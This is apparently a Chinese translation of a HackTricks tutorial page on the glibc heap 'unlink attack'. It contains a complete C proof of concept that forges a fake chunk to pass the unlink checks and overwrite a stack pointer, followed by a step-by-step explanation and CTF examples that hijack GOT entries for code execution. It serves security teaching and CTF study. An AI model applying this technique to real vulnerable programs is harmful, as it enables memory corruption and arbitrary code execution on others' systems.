128 lines
7.0 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Unlink Attack
{{#include ../../banners/hacktricks-training.md}}
## 基本信息
当这种攻击被发现时,它主要允许 WWW (Write What Where),然而,一些 **检查被添加** 使得攻击的新版本更加有趣、更复杂且 **无用**
### 代码示例:
<details>
<summary>代码</summary>
```c
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10]; // padding
};
int main() {
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];
// First grab two chunks (non fast)
chunk1 = malloc(0x8000);
chunk2 = malloc(0x8000);
printf("Stack pointer to chunk1: %p\n", &chunk1);
printf("Chunk1: %p\n", chunk1);
printf("Chunk2: %p\n", chunk2);
// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->size = 0x8000;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);
printf("Chunk1: %p\n", chunk1);
printf("Chunk1[3]: %x\n", chunk1[3]);
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
return 0;
}
```
</details>
- 如果使用了 tcaches在 2.26 之后),攻击将无法工作
### 目标
此攻击允许**将指向一个块的指针更改为指向其自身之前的 3 个地址**。如果这个新位置(指针所在位置的周围)有有趣的内容,比如其他可控的分配/栈等,就可以读取/覆盖它们,从而造成更大的伤害。
- 如果这个指针位于栈中,因为它现在指向自身之前的 3 个地址,用户可能可以读取和修改它,因此可以从栈中泄露敏感信息,甚至可能在不触碰 canary 的情况下修改返回地址。
- 在 CTF 示例中,这个指针位于指向其他分配的指针数组中,因此,将其指向 3 个地址之前并能够读取和写入,就可以使其他指针指向其他地址。\
由于用户也可以读取/写入其他分配,他可以泄露信息或在任意位置覆盖新地址(如在 GOT 中)。
### 要求
- 在内存中(例如栈)有一些控制,以创建几个块并为某些属性赋值。
- 栈泄漏以设置假块的指针。
### 攻击
- 有几个块chunk1 和 chunk2
- 攻击者控制 chunk1 的内容和 chunk2 的头部。
- 在 chunk1 中,攻击者创建一个假块的结构:
- 为了绕过保护,他确保字段 `size` 是正确的,以避免错误:`corrupted size vs. prev_size while consolidating`
- 并且假块的字段 `fd``bk` 指向 chunk1 指针在内存中的存储位置,偏移量分别为 -3 和 -2因此 `fake_chunk->fd->bk``fake_chunk->bk->fd` 指向内存(栈)中 chunk1 地址所在的位置:
<figure><img src="../../images/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
- chunk2 的头部被修改,以指示前一个块未使用,并且大小是包含的假块的大小。
- 当第二个块被释放时,这个假块被解除链接,发生:
- `fake_chunk->fd->bk` = `fake_chunk->bk`
- `fake_chunk->bk->fd` = `fake_chunk->fd`
- 之前已经使得 `fake_chunk->fd->bk``fake_chunk->bk->fd` 指向同一个地方chunk1 存储在栈中的位置,因此这是一个有效的链表)。由于**两者都指向同一个位置**,只有最后一个(`fake_chunk->bk->fd = fake_chunk->fd`)会生效。
- 这将**覆盖栈中指向 chunk1 的指针为存储在栈中 3 个地址之前的地址(或字节)**。
- 因此,如果攻击者能够再次控制 chunk1 的内容,他将能够**在栈中写入**,有可能覆盖返回地址,跳过 canary 并修改局部变量的值和指向。甚至再次修改存储在栈中的 chunk1 地址到一个不同的位置,如果攻击者能够再次控制 chunk1 的内容,他将能够在任何地方写入。
- 请注意,这之所以可能是因为**地址存储在栈中**。风险和利用可能取决于**假块的地址存储在哪里**。
<figure><img src="../../images/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
## 参考
- [https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit)
- 尽管在 CTF 中发现 unlink 攻击会很奇怪,但这里有一些使用此攻击的写作:
- CTF 示例:[https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html)
- 在这个例子中,栈中有一个 malloc 的地址数组。执行 unlink 攻击以能够在这里分配一个块,因此能够控制 malloc 地址数组的指针。然后,还有另一个功能允许修改这些地址中块的内容,这允许将地址指向 GOT修改函数地址以获取泄漏和 RCE。
- 另一个 CTF 示例:[https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html)
- 就像在前一个例子中一样,有一个分配地址的数组。可以执行 unlink 攻击,使指向第一个分配的地址指向数组开始之前的几个位置,并在新位置覆盖此分配。因此,可以覆盖其他分配的指针,使其指向 atoi 的 GOT打印以获取 libc 泄漏,然后用一个 gadget 的地址覆盖 atoi GOT。
- CTF 示例,具有自定义 malloc 和 free 函数,利用与 unlink 攻击非常相似的漏洞:[https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html)
- 有一个溢出,允许控制将被(自定义)释放的 FD 和 BK 指针。此外,堆具有执行位,因此可以泄漏堆地址并将函数从 GOT 指向具有 shellcode 的堆块以执行。
{{#include ../../banners/hacktricks-training.md}}